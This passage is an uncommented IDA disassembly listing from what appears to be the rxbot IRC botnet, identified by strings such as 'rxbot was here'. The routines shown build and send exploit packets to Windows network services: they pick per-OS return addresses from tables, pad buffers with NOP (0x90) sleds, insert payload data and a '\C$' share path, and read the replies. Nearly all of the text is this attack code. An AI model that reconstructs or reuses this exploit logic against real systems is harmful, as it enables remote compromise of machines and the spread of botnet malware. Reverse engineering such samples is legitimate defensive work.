loc_40B70D: ; CODE XREF: sub_40B6BE+2Dj
push 28h
push offset dword_415254
push [ebp+arg_0]
call sub_403D9D
push ebx
push [ebp+arg_0]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40B7C9
push 0
lea eax, [ebp+var_1000]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
test eax, eax
jz loc_40B7C9
cmp eax, 0FFFFFFFFh
jz short loc_40B7C9
lea eax, [ebp+var_FDB]
push eax
call sub_41151C ; atoi
cmp [ebp+var_FF8], 5
pop ecx
mov ecx, [ebp+arg_4]
mov [ecx], eax
jnz short loc_40B7B6
cmp [ebp+var_FF4], 0
jnz short loc_40B782
xor ecx, ecx
cmp eax, 4
setle cl
dec ecx
and ecx, 0FFFFFFFEh
inc ecx
inc ecx
loc_40B77E: ; CODE XREF: sub_40B6BE+DCj
; sub_40B6BE+F6j ...
mov eax, ecx
jmp short loc_40B7CB
; ---------------------------------------------------------------------------
loc_40B782: ; CODE XREF: sub_40B6BE+B0j
cmp [ebp+var_FF4], 1
jnz short loc_40B79C
xor ecx, ecx
cmp eax, 2
setle cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 3
jmp short loc_40B77E
; ---------------------------------------------------------------------------
loc_40B79C: ; CODE XREF: sub_40B6BE+CBj
cmp [ebp+var_FF4], 2
jnz short loc_40B7C9
xor ecx, ecx
cmp eax, 3
setle cl
dec ecx
and ecx, 0FFFFFFFCh
add ecx, 4
jmp short loc_40B77E
; ---------------------------------------------------------------------------
loc_40B7B6: ; CODE XREF: sub_40B6BE+A7j
cmp [ebp+var_FF8], 4
jnz short loc_40B7C9
xor ecx, ecx
cmp eax, 6
setle cl
jmp short loc_40B77E
; ---------------------------------------------------------------------------
loc_40B7C9: ; CODE XREF: sub_40B6BE+40j
; sub_40B6BE+49j ...
xor eax, eax
loc_40B7CB: ; CODE XREF: sub_40B6BE+C2j
pop edi
pop esi
pop ebx
leave
retn
sub_40B6BE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1204h
call sub_411540
push ebx
push esi
mov esi, [ebp+8]
push edi
push 3
push offset asc_413214 ; "\r\n"
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp-1204h]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E399
mov edi, eax
add esp, 20h
test edi, edi
jz loc_40B998
and dword ptr [ebp+8], 0
lea eax, [ebp+8]
push eax
push dword ptr [esi+3Eh]
call sub_40B6BE
pop ecx
mov [ebp-4], eax
test eax, eax
pop ecx
jz loc_40B998
mov ebx, 1000h
lea eax, [ebp-1004h]
push ebx
push 0
push eax
call sub_4114E8 ; memset
push 2
lea eax, [ebp-1004h]
push offset dword_415328
push eax
call sub_4114D0 ; memcpy
push 1F4h
lea eax, [ebp-0F37h]
push 90h
push eax
call sub_4114E8 ; memset
lea eax, [ebp-1204h]
push edi
push eax
lea eax, [ebp-0DFCh]
push eax
call sub_4114D0 ; memcpy
push 5
lea eax, [ebp-0BF2h]
push offset aRxbot ; "rxbot"
push eax
call sub_4114D0 ; memcpy
push 0Eh
lea eax, [ebp-0A2Ch]
push offset aRxbotWasHere ; "rxbot was here"
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp-928h]
push 11h
push offset a121204131313 ; "12/12/04 13:13:13"
push eax
call sub_4114D0 ; memcpy
push 0Eh
lea eax, [ebp-518h]
push offset aRxbot_paradise ; "rxbot_paradise"
push eax
call sub_4114D0 ; memcpy
push 10h
lea eax, [ebp-414h]
push offset a131_131_131_13 ; "131.131.131.131"
push eax
call sub_4114D0 ; memcpy
mov edi, offset loc_4152D0
push edi
call sub_4114BE ; strlen
push eax
lea eax, [ebp-108h]
push edi
push eax
call sub_4114D0 ; memcpy
push 2
lea eax, [ebp-0E02h]
push offset loc_4152CC
push eax
call sub_4114D0 ; memcpy
add esp, 40h
cmp dword ptr [ebp-4], 1
jnz short loc_40B930
mov eax, [ebp+8]
mov eax, dword_415280[eax*4]
jmp short loc_40B95B
; ---------------------------------------------------------------------------
loc_40B930: ; CODE XREF: .packed:0040B922j
cmp dword ptr [ebp-4], 2
jnz short loc_40B942
mov eax, [ebp+8]
mov eax, dword_41529C[eax*4]
jmp short loc_40B95B
; ---------------------------------------------------------------------------
loc_40B942: ; CODE XREF: .packed:0040B934j
cmp dword ptr [ebp-4], 3
mov eax, [ebp+8]
jnz short loc_40B954
mov eax, dword_4152B0[eax*4]
jmp short loc_40B95B
; ---------------------------------------------------------------------------
loc_40B954: ; CODE XREF: .packed:0040B949j
mov eax, dword_4152BC[eax*4]
loc_40B95B: ; CODE XREF: .packed:0040B92Ej
; .packed:0040B940j ...
mov [ebp-0E00h], eax
lea eax, [ebp-1004h]
push ebx
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz short loc_40B998
push 0
lea eax, [ebp-1004h]
push ebx
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
loc_40B998: ; CODE XREF: .packed:0040B819j
; .packed:0040B836j ...
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B99D proc near ; CODE XREF: sub_40BAAF+5Bp
var_1000 = byte ptr -1000h
var_FF8 = byte ptr -0FF8h
var_FF4 = byte ptr -0FF4h
var_FDB = byte ptr -0FDBh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
push ebx
push esi
mov ebx, 0EA60h
push edi
push ebx
push [ebp+arg_0]
call sub_403E1F
mov esi, dword_412258
pop ecx
test eax, eax
pop ecx
mov edi, 1000h
jz short loc_40B9EC
push 0
lea eax, [ebp+var_1000]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
test eax, eax
jz loc_40BAA8
cmp eax, 0FFFFFFFFh
jz loc_40BAA8
loc_40B9EC: ; CODE XREF: sub_40B99D+2Dj
push 28h
push offset dword_41532C
push [ebp+arg_0]
call sub_403D9D
push ebx
push [ebp+arg_0]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40BAA8
push 0
lea eax, [ebp+var_1000]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
test eax, eax
jz loc_40BAA8
cmp eax, 0FFFFFFFFh
jz short loc_40BAA8
lea eax, [ebp+var_FDB]
push eax
call sub_41151C ; atoi
cmp [ebp+var_FF8], 5
pop ecx
mov ecx, [ebp+arg_4]
mov [ecx], eax
jnz short loc_40BA95
cmp [ebp+var_FF4], 0
jnz short loc_40BA61
xor ecx, ecx
cmp eax, 4
setle cl
dec ecx
and ecx, 0FFFFFFFEh
inc ecx
inc ecx
loc_40BA5D: ; CODE XREF: sub_40B99D+DCj
; sub_40B99D+F6j ...
mov eax, ecx
jmp short loc_40BAAA
; ---------------------------------------------------------------------------
loc_40BA61: ; CODE XREF: sub_40B99D+B0j
cmp [ebp+var_FF4], 1
jnz short loc_40BA7B
xor ecx, ecx
cmp eax, 2
setle cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 3
jmp short loc_40BA5D
; ---------------------------------------------------------------------------
loc_40BA7B: ; CODE XREF: sub_40B99D+CBj
cmp [ebp+var_FF4], 2
jnz short loc_40BAA8
xor ecx, ecx
cmp eax, 3
setle cl
dec ecx
and ecx, 0FFFFFFFCh
add ecx, 4
jmp short loc_40BA5D
; ---------------------------------------------------------------------------
loc_40BA95: ; CODE XREF: sub_40B99D+A7j
cmp [ebp+var_FF8], 4
jnz short loc_40BAA8
xor ecx, ecx
cmp eax, 6
setle cl
jmp short loc_40BA5D
; ---------------------------------------------------------------------------
loc_40BAA8: ; CODE XREF: sub_40B99D+40j
; sub_40B99D+49j ...
xor eax, eax
loc_40BAAA: ; CODE XREF: sub_40B99D+C2j
pop edi
pop esi
pop ebx
leave
retn
sub_40B99D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAAF proc near ; DATA XREF: .packed:00418044o
var_1204 = byte ptr -1204h
var_1137 = byte ptr -1137h
var_112F = byte ptr -112Fh
var_1002 = byte ptr -1002h
var_1000 = dword ptr -1000h
var_FFC = byte ptr -0FFCh
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1204h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 3
push offset asc_413214 ; "\r\n"
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp+var_204]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E399
add esp, 20h
mov [ebp+var_4], eax
test eax, eax
jz loc_40BC0B
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push dword ptr [esi+3Eh]
call sub_40B99D
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
jz loc_40BC0B
mov edi, 1000h
lea eax, [ebp+var_1204]
push edi
push 0
push eax
call sub_4114E8 ; memset
push 2
lea eax, [ebp+var_1204]
push offset dword_415328
push eax
call sub_4114D0 ; memcpy
push 8
lea eax, [ebp+var_1137]
push offset dword_41537C
push eax
call sub_4114D0 ; memcpy
push [ebp+var_4]
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_112F]
push eax
call sub_4114D0 ; memcpy
push 20h
lea eax, [ebp+var_FFC]
push offset dword_415358
push eax
call sub_4114D0 ; memcpy
push 2
lea eax, [ebp+var_1002]
push offset loc_4152CC
push eax
call sub_4114D0 ; memcpy
add esp, 48h
cmp ebx, 1
jnz short loc_40BBA5
mov eax, [ebp+arg_0]
mov eax, dword_415388[eax*4]
jmp short loc_40BBCE
; ---------------------------------------------------------------------------
loc_40BBA5: ; CODE XREF: sub_40BAAF+E8j
cmp ebx, 2
jnz short loc_40BBB6
mov eax, [ebp+arg_0]
mov eax, dword_4153A4[eax*4]
jmp short loc_40BBCE
; ---------------------------------------------------------------------------
loc_40BBB6: ; CODE XREF: sub_40BAAF+F9j
mov eax, [ebp+arg_0]
cmp ebx, 3
jnz short loc_40BBC7
mov eax, dword_4153B8[eax*4]
jmp short loc_40BBCE
; ---------------------------------------------------------------------------
loc_40BBC7: ; CODE XREF: sub_40BAAF+10Dj
mov eax, dword_4153C4[eax*4]
loc_40BBCE: ; CODE XREF: sub_40BAAF+F4j
; sub_40BAAF+105j ...
mov [ebp+var_1000], eax
lea eax, [ebp+var_1204]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz short loc_40BC0B
push 0
lea eax, [ebp+var_1204]
push edi
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
loc_40BC0B: ; CODE XREF: sub_40BAAF+4Aj
; sub_40BAAF+66j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40BAAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC10 proc near ; DATA XREF: .packed:off_417DC6o
var_1800 = byte ptr -1800h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1800h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 1
lea eax, [esi+42h]
push eax
call sub_40D42D
push eax
lea eax, [ebp+var_800]
push eax
push esi
call sub_40BCBD
add esp, 14h
mov [ebp+arg_0], eax
test eax, eax
jz short loc_40BCB8
push 48h
push offset dword_4153D4
push dword ptr [esi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz short loc_40BCB8
mov edi, dword_412258
mov ebx, 1000h
push 0
lea eax, [ebp+var_1800]
push ebx
push eax
push dword ptr [esi+3Eh]
call edi ; recv
push [ebp+arg_0]
lea eax, [ebp+var_800]
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz short loc_40BCB8
push 0
lea eax, [ebp+var_1800]
push ebx
push eax
push dword ptr [esi+3Eh]
call edi ; recv
loc_40BCB8: ; CODE XREF: sub_40BC10+34j
; sub_40BC10+57j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40BC10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCBD proc near ; CODE XREF: sub_40BC10+27p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, [ebp+arg_0]
push 7
push offset dword_415854
push dword ptr [eax+2Ah]
lea ecx, [eax+146h]
push ecx
lea ecx, [eax+0C6h]
push ecx
push dword ptr [eax+0C2h]
lea eax, [ebp+var_200]
push 200h
push eax
call sub_40E399
add esp, 20h
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_40BD04
leave
retn
; ---------------------------------------------------------------------------
loc_40BD04: ; CODE XREF: sub_40BCBD+43j
push ebx
push esi
push edi
add eax, 0D7h
push 10h
mov ebx, 0B3h
cdq
pop ecx
idiv ecx
push 0Ch
pop eax
sub eax, edx
jns short loc_40BD21
add ebx, 10h
loc_40BD21: ; CODE XREF: sub_40BCBD+5Fj
mov esi, [ebp+arg_4]
push 360h
push offset dword_415454
push esi
sub ebx, edx
call sub_4114D0 ; memcpy
lea eax, [esi+360h]
push 10h
push offset dword_4157B8
push eax
call sub_4114D0 ; memcpy
push 30h
lea eax, [esi+370h]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
call sub_4114D0 ; memcpy
push 0
lea eax, [esi+3A0h]
push ebx
push eax
call sub_40D5A8
push [ebp+arg_0]
lea edi, [ebx+3A0h]
lea eax, [ebp+var_200]
push eax
lea eax, [edi+esi]
push eax
call sub_4114D0 ; memcpy
add edi, [ebp+arg_0]
push 3Ch
push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
lea eax, [edi+esi]
push eax
call sub_4114D0 ; memcpy
add esp, 48h
add edi, 3Ch
push 30h
lea eax, [edi+esi]
push offset dword_41580C
push eax
call sub_4114D0 ; memcpy
mov eax, [ebp+arg_8]
add esp, 0Ch
add edi, 30h
dec eax
lea ecx, [esi+394h]
jz short loc_40BDF7
dec eax
jz short loc_40BDEE
dec eax
jz short loc_40BDE5
call sub_40B4C3
test eax, eax
push 4
jz short loc_40BDD7
push offset dword_41584C
jmp short loc_40BDDC
; ---------------------------------------------------------------------------
loc_40BDD7: ; CODE XREF: sub_40BCBD+111j
push offset dword_415850
loc_40BDDC: ; CODE XREF: sub_40BCBD+118j
lea eax, [esi+394h]
push eax
jmp short loc_40BDFF
; ---------------------------------------------------------------------------
loc_40BDE5: ; CODE XREF: sub_40BCBD+106j
push 4
push offset dword_415848
jmp short loc_40BDFE
; ---------------------------------------------------------------------------
loc_40BDEE: ; CODE XREF: sub_40BCBD+103j
push 4
push offset dword_415844
jmp short loc_40BDFE
; ---------------------------------------------------------------------------
loc_40BDF7: ; CODE XREF: sub_40BCBD+100j
push 4
push offset dword_415840
loc_40BDFE: ; CODE XREF: sub_40BCBD+12Fj
; sub_40BCBD+138j
push ecx
loc_40BDFF: ; CODE XREF: sub_40BCBD+126j
call sub_4114D0 ; memcpy
mov eax, [ebp+arg_0]
add esp, 0Ch
lea eax, [ebx+eax+30h]
lea ecx, [eax-0Ch]
add [esi+8], ecx
lea ecx, [eax-0Ch]
add [esi+10h], ecx
lea ecx, [eax-0Ch]
add [esi+80h], ecx
lea ecx, [eax-0Ch]
add [esi+84h], ecx
lea ecx, [eax-0Ch]
add [esi+0B4h], ecx
lea ecx, [eax-0Ch]
add [esi+0B8h], ecx
lea ecx, [eax-0Ch]
add [esi+0D0h], ecx
lea ecx, [eax-0Ch]
add [esi+18Ch], ecx
cdq
sub eax, edx
sar eax, 1
add [esi+360h], eax
add [esi+368h], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40BCBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE68 proc near ; DATA XREF: .packed:00417E00o
var_1B68 = byte ptr -1B68h
var_B68 = byte ptr -0B68h
var_968 = byte ptr -968h
var_960 = dword ptr -960h
var_958 = dword ptr -958h
var_950 = byte ptr -950h
var_90C = byte ptr -90Ch
var_8EC = byte ptr -8ECh
var_8E8 = byte ptr -8E8h
var_8E4 = byte ptr -8E4h
var_8E0 = byte ptr -8E0h
var_8DC = byte ptr -8DCh
var_884 = byte ptr -884h
var_87E = byte ptr -87Eh
var_876 = byte ptr -876h
var_872 = byte ptr -872h
var_86E = byte ptr -86Eh
var_868 = byte ptr -868h
var_168 = byte ptr -168h
var_7C = byte ptr -7Ch
var_72 = byte ptr -72h
var_6E = byte ptr -6Eh
var_36 = byte ptr -36h
var_32 = byte ptr -32h
var_2E = byte ptr -2Eh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1B68h
call sub_411540
push esi
push edi
mov edi, [ebp+arg_0]
push 48h
push offset dword_41585C
push dword ptr [edi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [edi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40C131
xor esi, esi
lea eax, [ebp+var_1B68]
push esi
push 1000h
push eax
push dword ptr [edi+3Eh]
call dword_412258 ; recv
push 7
push offset dword_415854
push dword ptr [edi+2Ah]
lea eax, [edi+146h]
push eax
lea eax, [edi+0C6h]
push eax
lea eax, [ebp+var_B68]
push dword ptr [edi+0C2h]
push 200h
push eax
call sub_40E399
add esp, 20h
cmp eax, esi
mov [ebp+arg_0], eax
jz loc_40C131
push ebx
mov ebx, 168h
loc_40BEFC: ; CODE XREF: sub_40BE68+A9j
push 7Ah
push 61h
call sub_40B459
mov [ebp+esi+var_168], al
inc esi
pop ecx
cmp esi, ebx
pop ecx
jl short loc_40BEFC
push 0Ah
lea eax, [ebp+var_7C]
push offset loc_41594C
push eax
call sub_4114D0 ; memcpy
push 2
lea eax, [ebp+var_72]
push offset loc_41599C
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_6E]
push offset loc_415994
push eax
call sub_4114D0 ; memcpy
push 2
lea eax, [ebp+var_36]
push offset loc_415998
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_32]
push (offset loc_41598F+1)
push eax
call sub_4114D0 ; memcpy
push 0Bh
lea eax, [ebp+var_2E]
push offset loc_415940
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp+var_968]
mov esi, 3E6h
sub esi, [ebp+arg_0]
push 18h
push offset dword_4158A8
push eax
call sub_4114D0 ; memcpy
push 44h
lea eax, [ebp+var_950]
push offset dword_4158C4
push eax
call sub_4114D0 ; memcpy
push 20h
lea eax, [ebp+var_90C]
push 0FFFFFF90h
push eax
call sub_4114E8 ; memset
push 4
lea eax, [ebp+var_8EC]
push offset loc_415958
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_8E8]
push offset loc_41598C
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_8E4]
push offset dword_415984
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp+var_8E0]
push 4
push offset loc_415988
push eax
call sub_4114D0 ; memcpy
push 58h
lea eax, [ebp+var_8DC]
push 0FFFFFF90h
push eax
call sub_4114E8 ; memset
push 6
lea eax, [ebp+var_884]
push offset loc_415960
push eax
call sub_4114D0 ; memcpy
push 8
push 0FFFFFF90h
lea eax, [ebp+var_87E]
push eax
call sub_4114E8 ; memset
push 4
lea eax, [ebp+var_876]
push offset loc_415968
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_872]
push 0FFFFFF90h
push eax
call sub_4114E8 ; memset
add esp, 48h
lea eax, [ebp+var_86E]
push 6
push offset loc_415970
push eax
call sub_4114D0 ; memcpy
push esi
lea eax, [ebp+var_868]
push 0FFFFFF90h
push eax
call sub_4114E8 ; memset
push [ebp+arg_0]
add esi, 100h
lea eax, [ebp+var_B68]
push eax
lea eax, [ebp+esi+var_968]
push eax
call sub_4114D0 ; memcpy
add esi, [ebp+arg_0]
lea eax, [ebp+var_168]
push ebx
push eax
lea eax, [ebp+esi+var_968]
push eax
call sub_4114D0 ; memcpy
add esi, ebx
push 0Ah
push offset off_415978
lea eax, [ebp+esi+var_968]
push eax
call sub_4114D0 ; memcpy
add esi, 0Ah
push 32h
push offset dword_41590C
lea eax, [ebp+esi+var_968]
push eax
call sub_4114D0 ; memcpy
add esi, 32h
add esp, 48h
mov [ebp+var_960], esi
lea eax, [esi-18h]
push esi
mov [ebp+var_958], eax
lea eax, [ebp+var_968]
push eax
push dword ptr [edi+3Eh]
call sub_403D9D
push 0EA60h
push dword ptr [edi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
pop ebx
jz short loc_40C131
push 0
lea eax, [ebp+var_1B68]
push 1000h
push eax
push dword ptr [edi+3Eh]
call dword_412258 ; recv
loc_40C131: ; CODE XREF: sub_40BE68+33j
; sub_40BE68+88j ...
pop edi
pop esi
leave
retn
sub_40BE68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C135 proc near ; CODE XREF: sub_40C501+F4p
; sub_40C501+102p ...
var_A4F0 = byte ptr -0A4F0h
var_A488 = byte ptr -0A488h
var_8418 = byte ptr -8418h
var_7418 = byte ptr -7418h
var_73A8 = byte ptr -73A8h
var_68E4 = byte ptr -68E4h
var_5340 = byte ptr -5340h
var_42AC = byte ptr -42ACh
var_37E4 = byte ptr -37E4h
var_37E1 = byte ptr -37E1h
var_37B7 = byte ptr -37B7h
var_37B5 = byte ptr -37B5h
var_37B4 = byte ptr -37B4h
var_27E4 = byte ptr -27E4h
var_2768 = byte ptr -2768h
var_1F98 = byte ptr -1F98h
var_1AED = byte ptr -1AEDh
var_1800 = byte ptr -1800h
var_101E = byte ptr -101Eh
var_101C = byte ptr -101Ch
var_100C = byte ptr -100Ch
var_CE8 = byte ptr -0CE8h
var_CE4 = byte ptr -0CE4h
var_CD8 = byte ptr -0CD8h
var_A54 = byte ptr -0A54h
var_A50 = byte ptr -0A50h
var_9B0 = byte ptr -9B0h
var_2A4 = byte ptr -2A4h
var_294 = byte ptr -294h
var_280 = byte ptr -280h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 0A4F0h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 7
push offset dword_415854
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp+var_280]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E399
mov [ebp+arg_0], eax
lea eax, [ebp+var_280]
add esp, 20h
test eax, eax
jz loc_40C4F9
lea eax, [ebp+var_80]
push eax
lea eax, [esi+42h]
push eax
call sub_40311D
lea eax, [ebp+var_80]
push eax
call sub_4117A8 ; wcslen
mov ebx, eax
push 60h
lea eax, [ebp+var_37E4]
push offset dword_415BB8
push eax
shl ebx, 1
call sub_4114D0 ; memcpy
lea eax, [ebp+var_80]
push ebx
push eax
lea eax, [ebp+var_37B4]
push eax
call sub_4114D0 ; memcpy
push 9
lea eax, [ebp+ebx+var_37B5]
push (offset aC_0+3)
push eax
call sub_4114D0 ; memcpy
mov al, bl
add al, 34h
mov [ebp+var_37E1], al
mov al, bl
add al, 9
add ebx, 38h
mov [ebp+var_37B7], al
lea eax, [ebp+var_37E4]
push ebx
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
mov edi, 0EA60h
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 44h
test eax, eax
jz loc_40C3FE
mov ebx, 1000h
push 0
lea eax, [ebp+var_8418]
push ebx
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
push 68h
push offset dword_415C1C
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40C3FE
push 0
lea eax, [ebp+var_8418]
push ebx
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
push 0A0h
push offset dword_415C88
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40C3FE
push 0
lea eax, [ebp+var_8418]
push ebx
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
mov ebx, [ebp+arg_4]
test ebx, ebx
jz loc_40C438
push 2
lea eax, [ebp+var_101E]
push offset loc_4152CC
push eax
call sub_4114D0 ; memcpy
lea ebx, ds:415FB0h[ebx*4]
push 4
lea eax, [ebp+var_101C]
push ebx
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
lea eax, [ebp+var_280]
push eax
lea eax, [ebp+var_100C]
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_CE8]
push offset loc_415FBC
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_CE4]
push ebx
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
lea eax, [ebp+var_280]
push eax
lea eax, [ebp+var_CD8]
push eax
call sub_4114D0 ; memcpy
add esp, 48h
and [ebp+var_A54], 0
lea eax, [ebp+var_1800]
push 0DADh
push eax
lea eax, [ebp+var_5340]
push eax
call sub_40588E
mov ebx, 1C52h
lea eax, [ebp+var_A4F0]
push ebx
push 31h
push eax
call sub_4114E8 ; memset
push ebx
lea eax, [ebp+var_7418]
push 31h
push eax
call sub_4114E8 ; memset
push 68h
lea eax, [ebp+var_A4F0]
push offset dword_415E40
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_5340]
push 1B5Ah
push eax
lea eax, [ebp+var_A488]
push eax
call sub_4114D0 ; memcpy
push 70h
lea eax, [ebp+var_7418]
push offset dword_415EAC
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp+var_42AC]
push 0A5Eh
push eax
lea eax, [ebp+var_73A8]
push eax
call sub_4114D0 ; memcpy
push 84h
lea eax, [ebp+var_68E4]
push offset dword_415F20
push eax
call sub_4114D0 ; memcpy
push 10FCh
lea eax, [ebp+var_A4F0]
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 2Ch
test eax, eax
jnz short loc_40C405
loc_40C3FE: ; CODE XREF: sub_40C135+E2j
; sub_40C135+11Dj ...
xor eax, eax
jmp loc_40C4FC
; ---------------------------------------------------------------------------
loc_40C405: ; CODE XREF: sub_40C135+2C7j
push 0
lea eax, [ebp+var_8418]
push 640h
push eax
push dword ptr [esi+3Eh]
call dword_412258 ; recv
lea eax, [ebp+var_7418]
push 0FDCh
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 0Ch
jmp loc_40C4F9
; ---------------------------------------------------------------------------
loc_40C438: ; CODE XREF: sub_40C135+174j
push 0E29h
lea eax, [ebp+var_27E4]
push 31h
push eax
call sub_4114E8 ; memset
mov edi, 7D0h
push 0
lea eax, [ebp+var_A50]
push edi
push eax
call sub_40D5A8
push [ebp+arg_0]
lea eax, [ebp+var_280]
push eax
lea eax, [ebp+var_9B0]
push eax
call sub_4114D0 ; memcpy
push 4
lea eax, [ebp+var_2A4]
push offset dword_415FB0
push eax
call sub_4114D0 ; memcpy
push 7
lea eax, [ebp+var_294]
push offset sub_415FA8
push eax
call sub_4114D0 ; memcpy
push 7Ch
lea eax, [ebp+var_27E4]
push offset dword_415D2C
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp+var_A50]
push edi
push eax
lea eax, [ebp+var_2768]
push eax
call sub_4114D0 ; memcpy
push 90h
lea eax, [ebp+var_1F98]
push offset off_415DAC
push eax
call sub_4114D0 ; memcpy
and [ebp+var_1AED], 0
lea eax, [ebp+var_27E4]
push 0CF8h
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 24h
loc_40C4F9: ; CODE XREF: sub_40C135+50j
; sub_40C135+2FEj
push 1
pop eax
loc_40C4FC: ; CODE XREF: sub_40C135+2CBj
pop edi
pop esi
pop ebx
leave
retn
sub_40C135 endp
; =============== S U B R O U T I N E =======================================
sub_40C501 proc near ; CODE XREF: sub_40C501+12Bp
; DATA XREF: .packed:00417E74o
var_30 = dword ptr -30h
var_1C = byte ptr -1Ch
var_C = byte ptr -0Ch
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_1004 = dword ptr 1008h
mov eax, 1004h
call sub_411540
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_1004]
xor ebx, ebx
push edi
cmp [esi+3Eh], ebx
mov [esp+10h], ebx
mov edi, 0EA60h
jnz short loc_40C54B
push edi
lea eax, [esi+17h]
push ebx
push eax
lea eax, [esi+42h]
mov dword ptr [esp+1Ch], 1
push eax
call sub_403C04
add esp, 10h
cmp eax, ebx
mov [esi+3Eh], eax
jz loc_40C633
loc_40C54B: ; CODE XREF: sub_40C501+23j
push 89h
push offset dword_4159A0
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40C633
mov ebp, 1000h
push ebx
mov ebx, dword_412258
lea eax, [esp+14h+arg_0]
push ebp
push eax
push dword ptr [esi+3Eh]
call ebx ; recv
push 0A8h
push offset dword_415A2C
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40C633
push 0
